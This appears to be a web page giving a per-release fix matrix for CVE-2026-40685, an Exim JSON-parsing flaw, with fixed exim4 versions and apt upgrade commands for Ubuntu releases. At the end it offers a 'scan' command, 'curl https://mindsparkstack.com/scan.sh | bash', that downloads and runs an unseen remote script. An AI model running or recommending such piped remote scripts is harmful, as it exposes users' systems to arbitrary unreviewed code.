CVE-2026-40685 · cross-distro fix matrix

CVE-2026-40685: It was discovered that Exim incorrectly handled parsing malformed JSON

Affects 8 Linux releases across 50 (distro × package) combinations. First disclosed: 2026-04-30.

CVSS v3:MEDIUM · 6.5(NVD-published)

Fix per ecosystem

Each block below is a distro release where CVE-2026-40685 has a known fix. Run the listed command on that distro to remediate.

Ubuntu jammy

Source: Ubuntu USN

exim4→ fixed in4.95-4ubuntu2.7USN-8228-1

sudo apt-get install --only-upgrade -y exim4

exim4-base→ fixed in4.95-4ubuntu2.7USN-8228-1

sudo apt-get install --only-upgrade -y exim4-base

exim4-config→ fixed in4.95-4ubuntu2.7USN-8228-1

sudo apt-get install --only-upgrade -y exim4-config

exim4-daemon-heavy→ fixed in4.95-4ubuntu2.7USN-8228-1

sudo apt-get install --only-upgrade -y exim4-daemon-heavy

exim4-daemon-light→ fixed in4.95-4ubuntu2.7USN-8228-1

sudo apt-get install --only-upgrade -y exim4-daemon-light

exim4-dev→ fixed in4.95-4ubuntu2.7USN-8228-1

sudo apt-get install --only-upgrade -y exim4-dev

eximon4→ fixed in4.95-4ubuntu2.7USN-8228-1

sudo apt-get install --only-upgrade -y eximon4

Ubuntu noble

Source: Ubuntu USN

exim4→ fixed in4.97-4ubuntu4.4USN-8228-1

sudo apt-get install --only-upgrade -y exim4

exim4-base→ fixed in4.97-4ubuntu4.4USN-8228-1

sudo apt-get install --only-upgrade -y exim4-base

exim4-config→ fixed in4.97-4ubuntu4.4USN-8228-1

sudo apt-get install --only-upgrade -y exim4-config

exim4-daemon-heavy→ fixed in4.97-4ubuntu4.4USN-8228-1

sudo apt-get install --only-upgrade -y exim4-daemon-heavy

exim4-daemon-light→ fixed in4.97-4ubuntu4.4USN-8228-1

sudo apt-get install --only-upgrade -y exim4-daemon-light

exim4-dev→ fixed in4.97-4ubuntu4.4USN-8228-1

sudo apt-get install --only-upgrade -y exim4-dev

eximon4→ fixed in4.97-4ubuntu4.4USN-8228-1

sudo apt-get install --only-upgrade -y eximon4

Ubuntu questing

Source: Ubuntu USN

exim4→ fixed in4.98.2-1ubuntu2.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4

exim4-base→ fixed in4.98.2-1ubuntu2.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4-base

exim4-config→ fixed in4.98.2-1ubuntu2.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4-config

exim4-daemon-heavy→ fixed in4.98.2-1ubuntu2.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4-daemon-heavy

exim4-daemon-light→ fixed in4.98.2-1ubuntu2.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4-daemon-light

exim4-dev→ fixed in4.98.2-1ubuntu2.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4-dev

eximon4→ fixed in4.98.2-1ubuntu2.1USN-8228-1

sudo apt-get install --only-upgrade -y eximon4

Ubuntu resolute

Source: Ubuntu USN

exim4→ fixed in4.99.1-1ubuntu1.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4

exim4-base→ fixed in4.99.1-1ubuntu1.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4-base

exim4-config→ fixed in4.99.1-1ubuntu1.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4-config

exim4-daemon-heavy→ fixed in4.99.1-1ubuntu1.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4-daemon-heavy

exim4-daemon-light→ fixed in4.99.1-1ubuntu1.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4-daemon-light

exim4-dev→ fixed in4.99.1-1ubuntu1.1USN-8228-1

sudo apt-get install --only-upgrade -y exim4-dev

eximon4→ fixed in4.99.1-1ubuntu1.1USN-8228-1

sudo apt-get install --only-upgrade -y eximon4

Ubuntu bionic

Source: Ubuntu USN

exim4→ fixed in4.90.1-1ubuntu1.10+esm6USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4
```
exim4-base→ fixed in4.90.1-1ubuntu1.10+esm6USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-base
```
exim4-config→ fixed in4.90.1-1ubuntu1.10+esm6USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-config
```
exim4-daemon-heavy→ fixed in4.90.1-1ubuntu1.10+esm6USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-daemon-heavy
```
exim4-daemon-light→ fixed in4.90.1-1ubuntu1.10+esm6USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-daemon-light
```
exim4-dev→ fixed in4.90.1-1ubuntu1.10+esm6USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-dev
```
eximon4→ fixed in4.90.1-1ubuntu1.10+esm6USN-8382-1
```
sudo apt-get install --only-upgrade -y eximon4
```

Ubuntu focal

Source: Ubuntu USN

exim4→ fixed in4.93-13ubuntu1.12+esm1USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4
```
exim4-base→ fixed in4.93-13ubuntu1.12+esm1USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-base
```
exim4-config→ fixed in4.93-13ubuntu1.12+esm1USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-config
```
exim4-daemon-heavy→ fixed in4.93-13ubuntu1.12+esm1USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-daemon-heavy
```
exim4-daemon-light→ fixed in4.93-13ubuntu1.12+esm1USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-daemon-light
```
exim4-dev→ fixed in4.93-13ubuntu1.12+esm1USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-dev
```
eximon4→ fixed in4.93-13ubuntu1.12+esm1USN-8382-1
```
sudo apt-get install --only-upgrade -y eximon4
```

Ubuntu trusty

Source: Ubuntu USN

exim4→ fixed in4.82-3ubuntu2.4+esm9USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4
```
exim4-base→ fixed in4.82-3ubuntu2.4+esm9USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-base
```
exim4-config→ fixed in4.82-3ubuntu2.4+esm9USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-config
```
exim4-daemon-heavy→ fixed in4.82-3ubuntu2.4+esm9USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-daemon-heavy
```
exim4-daemon-light→ fixed in4.82-3ubuntu2.4+esm9USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-daemon-light
```
exim4-dev→ fixed in4.82-3ubuntu2.4+esm9USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4-dev
```
eximon4→ fixed in4.82-3ubuntu2.4+esm9USN-8382-1
```
sudo apt-get install --only-upgrade -y eximon4
```

Ubuntu xenial

Source: Ubuntu USN

exim4→ fixed in4.86.2-2ubuntu2.6+esm9USN-8382-1
```
sudo apt-get install --only-upgrade -y exim4
```

Are YOU affected by CVE-2026-40685?

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curl https://mindsparkstack.com/scan.sh | bash

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